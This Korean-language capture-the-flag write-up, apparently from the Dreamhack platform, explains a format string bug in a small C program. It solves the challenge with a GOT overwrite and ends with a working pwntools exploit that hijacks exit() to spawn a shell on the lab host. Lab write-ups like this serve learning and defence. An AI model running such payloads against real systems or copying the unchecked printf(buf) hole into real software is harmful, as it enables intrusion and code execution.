문제분석
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
read(0, buf, 0x80)
에서 길이에 대한 검증을 수행하고 있다. 따라서 일반적인 BOF는 발생하지 않는다.
그렇다면 어떤 취약점이 존재하는 것일까?
printf(buf);
위 코드에서 Format String Bug
취약점이 발생한다.
printf
함수를 사용할 때, 포맷스트링을 지정하지 않고 buf를 1번째 인자로 사용하도록 코드를 작성한 상황이다.
이는 출력함수를 잘못된 방식으로 사용한 경우다. 포맷스트링을 지정하지 않았기 때문에 FSB(Format String Bug)
가 발생한다.
Format String Bug
취약점을 이용하면 공격자는 메모리에 read/write가 가능하다. 따라서 굉장히 위험한 취약점이다.
문제풀이
FSB payload를 작성하기 전에 확인할 것이 있다.
FSB로 buf 데이터가 출력되는 포맷스트링의 인덱스를 확인해야 한다.
따라서
AAAA%x%x%x%x
와 같은 페이로드를 전송했다.
결과는 다음과 같다.
“A”의 아스키 값인 0x41이 AAAA
뒤에 출력되는 것을 확인할 수 있다.
즉, 1
번째 포맷스트링 인덱스가 buf다.
이번 문제는 RET 주소를 출력해주지 않는다. 따라서 RET overwrite는 힘들다.
이런 상황에서 할 수 있는 공격 기법은 공유 라이브러리 함수를 덮는 GOT overwrite
다.
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
종료되기 전에 exit(0)
을 실행한다.
그렇다면, exit GOT
를 get_shell()
주소로 덮으면 exit()
대신에 get_shell()
가 실행되고 쉘을 획득할 수 있다.
필요한 exit GOT
과 get_shell
주소를 구해보자.
get_shell()
주소는 0x8048609
이다.
x/i 명령으로 exit plt
를 출력했다.
asm 코드를 보면 0x804a024
로 점프하는 것을 볼 수 있다.
→ 즉, 0x804a024
가 exit GOT
다.
다음으로 payload를 작성하자.
payload는 pwntools 모듈의 fmtstr_payload()
를 사용해서 작성했다.
fmtstr_payload([buf를 가리키는 포맷스트링 N번째 수],{[exit()의 GOT]:[get_shell()]})
fmtstr_payload()
는 pwntools에서 제공하는 FSB payload를 생성해주는 함수다.
3가지 인자에 대한 정보만 있으면 FSB payload를 자동으로 생성해준다. 실제로 FSB payload를 제작하려면 굉장히 까다롭기 때문에 굉장히 유용한 함수다.
만약, FSB 취약점을 제대로 공부해보고 싶은 독자라면 직접 payload를 작성해보는 것을 추천한다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',20535)
payload = fmtstr_payload(1,{0x804a024: 134514185})
p.sendline(payload)
p.interactive()